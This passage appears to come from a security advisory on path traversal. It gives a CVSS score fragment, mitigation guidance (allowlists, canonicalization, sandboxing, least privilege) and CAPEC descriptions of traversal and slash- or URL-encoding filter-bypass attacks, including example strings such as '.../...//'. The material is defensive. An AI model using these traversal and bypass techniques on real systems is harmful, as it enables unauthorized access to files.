      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.